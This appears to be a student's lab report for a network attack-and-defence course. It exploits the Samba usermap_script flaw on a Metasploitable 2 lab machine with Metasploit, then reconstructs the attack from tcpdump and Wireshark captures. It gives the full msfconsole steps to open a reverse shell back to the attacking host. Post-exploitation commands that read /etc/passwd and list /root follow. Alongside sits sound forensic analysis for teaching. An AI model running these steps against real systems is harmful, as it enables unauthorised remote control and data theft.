《网络攻防实践》实践七报告

《网络攻防实践》实践七报告

1.实践内容

本次实践围绕 Metasploit 在 Linux 靶机环境中的漏洞利用与攻防分析展开,主要分为两个部分。

第一部分是针对 Metasploitable 靶机上的 Samba 服务 Usermap_script 漏洞进行渗透测试。实验目标是使用 Metasploit 中的 exploit/multi/samba/usermap_script 模块,对目标主机发起攻击,成功获取远程 Shell,并验证当前获得的权限级别。通过这一过程,熟悉漏洞利用模块的选择、Payload 的配置、攻击参数的设置以及攻击结果的验证方法。

第二部分是攻防对抗实践。攻击方继续使用 Metasploit 对 Metasploitable 靶机实施漏洞攻击,在获取远程控制权限后尝试进一步提权;防守方则使用 tcpdumpWiresharkSnort 等工具对攻击流量进行抓取和分析,结合数据包内容还原攻击过程,识别攻击者 IP、目标 IP、端口、攻击时间、利用漏洞类型、反向 Shell 特征以及攻击成功后输入的命令信息。通过该部分实验,从攻击与防守两个角度理解漏洞利用和网络取证分析的基本方法。

2.实验环境

类别 内容
宿主机环境 个人计算机
虚拟化平台 VMware Workstation / VirtualBox
攻击机系统 Kali Linux
靶机系统 Metasploitable 2
靶机 IP 地址 192.168.200.5
攻击机 IP 地址 192.168.200.6
网络模式 同一虚拟局域网
漏洞利用工具 Metasploit Framework
抓包工具 tcpdump
流量分析工具 Wireshark
入侵检测工具 Snort
主要利用漏洞 Samba Usermap_script 漏洞
攻击模块 exploit/multi/samba/usermap_script
攻击载荷 cmd/unix/reverse
实验目的 获取目标主机远程 Shell,并结合抓包分析攻击过程

3.实践过程

3.1 实验环境确认

本次实验在攻击机 Kali Linux 与靶机 Metasploitable 的虚拟网络环境中进行。实验开始前,先确认两台主机之间网络通信正常。

在 Metasploitable 靶机中执行 ifconfig,查看到靶机 IP 地址为:

192.168.200.5

image

在 Kali 攻击机中执行 ifconfig,查看到攻击机 IP 地址为:

192.168.200.6

image

之后分别从 Kali 到 Metasploitable、以及从 Metasploitable 到 Kali 进行双向 ping 测试,确认两台虚拟机之间网络连通正常,为后续漏洞利用和反向连接建立提供基础条件。
image
image

3.2 使用 Metasploit 攻击 Samba Usermap_script 漏洞

确认网络环境正常后,在 Kali 中启动 Metasploit:

msfconsole

image

进入 Metasploit 控制台后,搜索与 Samba Usermap_script 漏洞相关的模块:

search /multi/samba/usermap_script

image

搜索结果中可找到目标利用模块:

exploit/multi/samba/usermap_script

随后加载该漏洞利用模块:

use exploit/multi/samba/usermap_script

image

加载成功后,需要设置攻击载荷。本次实验选择远程反向连接 shell:

set payload cmd/unix/reverse

为了确认当前模块所支持的 Payload,并检查设置是否已经生效,可以执行:

show payloads

image

接下来配置攻击参数。设置靶机地址为 Metasploitable 主机 IP:

set RHOSTS 192.168.200.5

设置攻击机监听地址为 Kali 主机 IP:

set LHOST 192.168.200.6

然后执行:

show options

image

检查当前模块参数和 Payload 参数是否配置正确,重点确认 RHOSTSLHOST 等字段无误。

参数确认无误后,执行漏洞利用命令:

exploit

image

如果攻击成功,Metasploit 会建立一条来自靶机的反向 shell 连接,此时即可在当前会话中直接向目标主机执行命令。

3.3 获取远程 Shell 后的验证

为确认是否已经成功获得目标主机控制权限,以及当前权限级别,实验中依次执行了如下命令:

whoami
id
ip addr
ls

其中:

  • whoami 用于查看当前登录用户身份;
  • id 用于查看当前用户 UID、GID 以及所属组信息;
  • ip addr 用于查看靶机网络接口配置;
  • ls 用于查看当前目录文件内容,确认 shell 可正常执行系统命令。
    image

根据实验结果,成功获得了靶机 shell,并且由返回结果可判断当前已具备较高权限。结合 Samba Usermap_script 漏洞的利用特点,在 Metasploitable 靶机中通常可直接获得高权限 shell,从而实现对目标系统的远程控制。

3.4 攻防对抗实践:攻击方操作

在第二部分攻防对抗实验中,为了让防守方能够完整分析攻击过程,需要先在目标网络中抓取攻击流量。

防守方首先在监听主机上使用 tcpdump 对攻击机与靶机之间的通信进行抓包,并保存为 pcap 文件:

sudo tcpdump -i eth0 -w samba_attack.pcap host 192.168.200.6 and host 192.168.200.5

其中:

  • -i eth0 指定监听网卡;
  • -w samba_attack.pcap 表示将抓到的数据包写入文件;
  • host 192.168.200.6 and host 192.168.200.5 用于限定抓包对象为攻击机与靶机之间的通信流量。
    image

抓包开始后,攻击方在 Kali 中打开第二个终端,重新启动 Metasploit:

msfconsole

image

然后继续加载 Samba 漏洞利用模块:

use exploit/multi/samba/usermap_script

image

设置攻击参数:

set RHOSTS 192.168.200.5
set LHOST 192.168.200.6
set PAYLOAD cmd/unix/reverse

image

通过 show options 检查配置是否正确后,执行:

exploit

image
image

当攻击成功后,为了便于防守方后续在流量中识别攻击后的交互命令,本次实验在远程 shell 中主动输入了多条典型命令:

whoami
id
uname -a
ls /root
cat /etc/hostname
cat /etc/passwd | head -5

image

这些命令分别用于查看当前用户、身份信息、系统内核信息、root 目录内容、主机名以及系统用户文件的前几行内容。这些操作在抓包文件中会留下明显的明文交互痕迹,便于后续进行取证分析。

3.5 攻防对抗实践:防守方分析过程

当攻击结束后,防守方停止 tcpdump 抓包,并保存数据包文件。
image

随后使用 Wireshark 打开抓包文件进行分析:

wireshark samba_attack.pcap

在 Wireshark 中首先输入过滤条件:

ip.addr == 192.168.200.6 && ip.addr == 192.168.200.5

image

这样可以将分析范围限定为攻击机与靶机之间的通信流量,减少无关数据包干扰。

随后进一步输入协议过滤条件:

smb

image
随便打开一个smb报文,分析tcp流:
image

通过观察 SMB 相关报文,可以定位漏洞利用阶段的数据流量。在分析 SMB 会话内容时,可以看到与 Samba Usermap_script 漏洞有关的异常请求,这部分是攻击方构造恶意输入并触发目标服务执行命令的关键证据。

接着,在 Wireshark 过滤栏输入:

tcp.port == 4444

在实验环境中,反向 shell 通常会建立到指定监听端口,因此可通过该端口快速定位攻击成功后的反向连接流量。任选一个从靶机 192.168.200.5 指向攻击机 192.168.200.6:4444 的数据包,右键选择 Follow TCP Stream,即可查看整个 TCP 流中的明文内容。
image

从 TCP 流中,能够观察到攻击方利用 Samba usermap_script 漏洞注入的反向 shell 命令,这说明漏洞已经被成功利用,靶机主动回连攻击机,并建立交互式命令执行通道。这是本次实验中最关键的取证证据之一。

在反向 shell 建立后,还可以在 TCP 流明文内容中看到攻击方输入的命令,例如:

  • whoami
  • id
  • uname -a
  • ls /root
  • cat /etc/hostname
  • cat /etc/passwd | head -5

通过这些命令,可以进一步确认攻击不仅已经成功,而且攻击者已经开始对目标系统进行信息收集与权限验证操作。

综合抓包结果,可从流量中分析出以下关键信息:

  1. 攻击者 IP:192.168.200.6
  2. 目标主机 IP:192.168.200.5
  3. 漏洞利用相关服务端口:Samba 所在服务端口(通常为 139 或 445)以及反向 shell 回连端口 4444
  4. 攻击发起时间:可通过抓包文件中最早相关 SMB 利用报文与后续 shell 建立报文的时间戳确定
  5. 利用漏洞类型:Samba Usermap_script 远程命令执行漏洞
  6. Shellcode/命令特征:利用报文中可见带有命令注入特征的恶意内容,后续建立反向 shell 会话
  7. 攻击成功后输入的信息:可在 Follow TCP Stream 中直接看到具体命令文本及其返回结果

如果结合 Snort 进行检测,还可以进一步利用其规则匹配功能,对 Samba 漏洞利用特征流量进行告警识别,从而辅助判断攻击类型与危险等级。

4.学习中遇到的问题及解决

  • 问题1:Metasploit 模块较多,不确定 Samba Usermap_script 漏洞对应的具体利用模块。

  • 问题1解决方案: 使用 search /multi/samba/usermap_script 精确搜索模块,确认后通过 use exploit/multi/samba/usermap_script 进行加载,避免因模块选择错误导致实验失败。

  • 问题2:获得 shell 后,如何判断当前是否已经拥有高权限。

  • 问题2解决方案: 通过 whoamiid 命令查看当前用户身份与 UID/GID 信息,并结合是否能够访问敏感目录、执行系统命令来综合判断权限级别。

  • 问题3:Wireshark 中抓到的数据较多,不容易快速定位漏洞利用与反向 shell 流量。

  • 问题3解决方案: 先通过 ip.addr == 192.168.200.6 && ip.addr == 192.168.200.5 缩小主机范围,再使用 smb 过滤漏洞利用阶段流量,最后通过 tcp.port == 4444 快速定位反向 shell 连接,并使用 Follow TCP Stream 查看完整交互内容。

5.实践总结

通过本次实验,我对 Linux 平台下基于服务漏洞的远程渗透过程有了更加直观和系统的认识。此前对 Metasploit 的理解更多停留在“调用模块进行攻击”的层面,而在本次实验中,我真正体会到了漏洞利用并不是简单执行一条命令,而是需要在攻击前确认网络环境、识别目标服务、选择合适模块与 Payload、正确设置参数,并在攻击成功后验证权限和控制效果。

在 Samba Usermap_script 漏洞利用实验中,我进一步理解了远程命令执行漏洞的危险性。这类漏洞一旦被成功利用,攻击者能够直接在目标系统中执行命令,严重时甚至可以直接获得高权限 shell,对主机造成完全控制。通过 whoamiidip addr 等命令验证攻击结果,也让我认识到攻击后的权限确认和信息收集是渗透测试中非常重要的一步。

在攻防对抗部分,我感受到仅仅“打进去”并不是实验的全部,更重要的是从防守视角去理解攻击痕迹是如何在网络中留下来的。使用 tcpdump 抓包、在 Wireshark 中分析 SMB 报文和 TCP 流,使我看到了漏洞利用、反向连接建立以及后续命令输入的完整过程。特别是在 Follow TCP Stream 中看到明文命令交互时,我更加清楚地认识到网络取证对于事件还原的重要性。

总体来看,这次实验帮助我把“漏洞利用”“远程 shell”“权限验证”“流量取证”“攻击链分析”等知识点串联起来,不再只是分散的概念,而是形成了一条完整的攻防实践链路。今后在学习网络安全相关内容时,我也会更加注重从攻击与防守两个方向同时思考问题,提高自己对漏洞原理、工具使用和安全分析的综合理解能力。

6.致谢

在本次《网络攻防实践》实验过程中,我进一步理解了基于漏洞利用的渗透测试方法,以及从网络流量中还原攻击过程的基本思路。感谢王老师在实验设计与实践要求上的指导,使我能够围绕“攻击实施—权限验证—抓包分析—攻击还原”这一完整链路开展学习。相关实验资料、工具文档和公开安全公告也为我完成本次实验提供了重要参考。

同时,也感谢 Metasploit、Samba、Wireshark 等开源社区提供的文档与技术支持,使我能够结合官方资料理解 Samba Usermap_script 漏洞原理、Metasploit 模块使用方法以及 Wireshark 过滤与流量分析方法,从而更系统地完成本次实验报告。

7.参考资料

posted @ 2026-04-22 22:53  dky王铖浩  阅读(3)  评论(0)    收藏  举报